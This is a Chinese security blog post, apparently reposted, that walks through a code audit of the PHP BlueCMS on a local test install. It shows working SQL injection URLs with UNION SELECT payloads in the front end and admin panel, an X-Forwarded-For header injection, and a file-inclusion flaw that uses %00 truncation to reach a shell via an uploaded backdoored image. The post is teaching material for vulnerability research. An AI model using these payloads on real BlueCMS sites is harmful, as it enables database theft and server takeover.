代审小白的成长之路之BlueCMS

admin 2023年12月13日17:37:33评论16 views字数 3995阅读13分19秒阅读模式

前言

本来早就说要发代码审计的文章了,但是因为些原因搁置了,现在开始更,预计以一周一到两套CMS的速度更新,也是记录自己的学习过程,目前以PHP为主,之后也会更新JAVA的,但那是比较后面的事了。

正文

介绍:BlueCMS是一款国产的CMS平台,十分灵活、方便,早些年广泛的应用于商业系统、个人博客等。

源码下载地址在文章最后

源码安装

我这里采用小皮面板搭建,过程简单

把下载好的源码解压到任意文件夹,创建网站,指定uploads目录

代审小白的成长之路之BlueCMS

创建后访问/install目录即可开始安装

代审小白的成长之路之BlueCMS

如果访问空白,查看installcompile目录下是否有.php文件,删除即可

SQL注入漏洞

我们可以采用sql注入挖掘的通用正则匹配搜索

(update|select|insert|delete|).*?where.*=

代审小白的成长之路之BlueCMS

筛查了很多文件,我们要根据两个点来优先查看

  1. 代码:有无明显参数,代码中有无明显过滤

  2. 文件名:根据文件名来进行判断

前台SQL注入

我们在筛选结果中,发现前台的一个ad_js.php文件,定位到对应代码段

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';if(empty($ad_id)){  echo 'Error!';  exit();}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);if($ad['time_set'] == 0){ $ad_content = $ad['content'];}

发现它这里Get接收的ad_id的值直接拼接到了sql语句中,而且好像没有过滤,他这里使用getone调用语句,这个getone不是php自带的函数,所以我们转到它函数的声明,看一下它是做什么的

代审小白的成长之路之BlueCMS

    function getone($sql, $type=MYSQL_ASSOC){      $query = $this->query($sql,$this->linkid);      $row = mysql_fetch_array($query, $type);      return $row;    }

getone有两个参数,$sql和$type,字面意思第一个应该是执行语句,第二行是语句类型,第二行有个query函数,我们接着跳转一下

function query($sql){      if(!$query=@mysql_query($sql, $this->linkid)){        $this->dbshow("Query error:$sql");      }else{        return $query;      }    }

mysql_query是用于发送sql查询的,他这里的意思就是判断有没有做查询,那我们回去

它把查询后的结果存放到$query中,然后使用mysql_fetch_array获取返回结果,再使用return输出

那么大概的一个流程我们就知道了,而且它这里我们也没看到过滤代码,那么我们直接访问对应文件进行测试

http://127.0.0.1:81/ad_js.php?ad_id=1在后面拼接上查询语句http://127.0.0.1:81/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,database()

代审小白的成长之路之BlueCMS

漏洞存在

后台SQL注入

产生注入的是后台的一个ad.php文件,我们定位到对应代码段

elseif($act == 'edit'){   $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';   if(empty($ad_id))   {     return false;   }   $ad = $db->getone("SELECT ad_id, ad_name, time_set, start_time, end_time, content, exp_content FROM ".table('ad')." WHERE ad_id=".$ad_id);

可以看到它这里用的是我们第一处的自定义函数,那么只要它这里没有过滤代码,就一样会有注入

变量ad_id是直接get传参,然后我们要触发这个代码段,要满足elseif的条件$act == 'edit'

我们查看下$act的声明

$act = !empty($_REQUEST['act']) ? $_REQUEST['act'] : 'list';

全局传参,那没啥说的了,我们登入后构造对应的url

http://127.0.0.1:81/admin/ad.php?act=edit&ad_id=1在后面加上注入语句http://127.0.0.1:81/admin/ad.php?act=edit&ad_id=1%20union%20select%201,version(),3,4,5,6,database()

代审小白的成长之路之BlueCMS

前台XFF注入

这个是通过扫描工具扫出来的

代审小白的成长之路之BlueCMS

定位到代码段

/**  *  * 获取用户IP  *  */function getip(){  if (getenv('HTTP_CLIENT_IP'))  {    $ip = getenv('HTTP_CLIENT_IP');   }  elseif (getenv('HTTP_X_FORWARDED_FOR'))   { //获取客户端用代理服务器访问时的真实ip 地址    $ip = getenv('HTTP_X_FORWARDED_FOR');  }  elseif (getenv('HTTP_X_FORWARDED'))   {     $ip = getenv('HTTP_X_FORWARDED');  }  elseif (getenv('HTTP_FORWARDED_FOR'))  {    $ip = getenv('HTTP_FORWARDED_FOR');   }  elseif (getenv('HTTP_FORWARDED'))  {    $ip = getenv('HTTP_FORWARDED');  }  else  {     $ip = $_SERVER['REMOTE_ADDR'];  }  return $ip;}

这个它这个自定义函数的作用是获取我们的XFF头,我们全局搜索一下这个函数的使用

代审小白的成长之路之BlueCMS

第一处也有,但是利用比起第二处要求更多,而且需要登入,所以我们这里演示第二处

$online_ip = getip();

它这里把getip赋值给变量online_ip那我们就查看online_ip的用例

代审小白的成长之路之BlueCMS

我们查看第一个guest_book.php文件

elseif ($act == 'send'){  $user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;  $rid = intval($_POST['rid']);   $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';   $content = nl2br($content);   if(empty($content))   {     showmsg('评论内容不能为空');   }  $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)       VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";  $db->query($sql);  showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);}
语句代码"INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)       VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"
我们把查询语句带入后"INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '127.0.0.1',database())-- +', '$content')"

发现它这里使用的是query,那就说明没有过滤,存在注入,我们访问对应文件

http://127.0.0.1:81/guest_book.php

代审小白的成长之路之BlueCMS

使用burp抓包,伪造XFF头

X-Forwarded-For: 127.0.0.1',database())-- +
代审小白的成长之路之BlueCMS

查看留言

代审小白的成长之路之BlueCMS

获取到数据库信息,漏洞存在。

文件包含漏洞

代审小白的成长之路之BlueCMS

漏洞文件在user.php,我们定位到代码段

 elseif ($act == 'pay'){   include 'data/pay.cache.php';   $price = $_POST['price'];   $id = $_POST['id'];   $name = $_POST['name'];   if (empty($_POST['pay'])) {     showmsg('对不起,您没有选择支付方式');   }   include 'include/payment/'.$_POST['pay']."/index.php"; }

这个漏洞咋说呢,虽然它这里没有对pay参数进行过滤,但是它后面还会拼接一个index.php文件,所以我们的重点是如何截断。如果php版本低于5.3.4magic_quotes_gpc=off则可以使用%00截断

代审小白的成长之路之BlueCMS

然后它的后台有上传头像功能,我们可以上传带后门的图片文件,再包含即可getshell

最后

bluecms采用的原生的PHP开发,路由结构简单,比较适合代审小白练手,除了,我文中提到的几处,还有很多其它漏洞,各位可以自行下去挖掘。


原文始发于微信公众号(菜狗安全):代审小白的成长之路之BlueCMS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日17:37:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代审小白的成长之路之BlueCMShttp://cn-sec.com/archives/2292059.html

发表评论

匿名网友 填写信息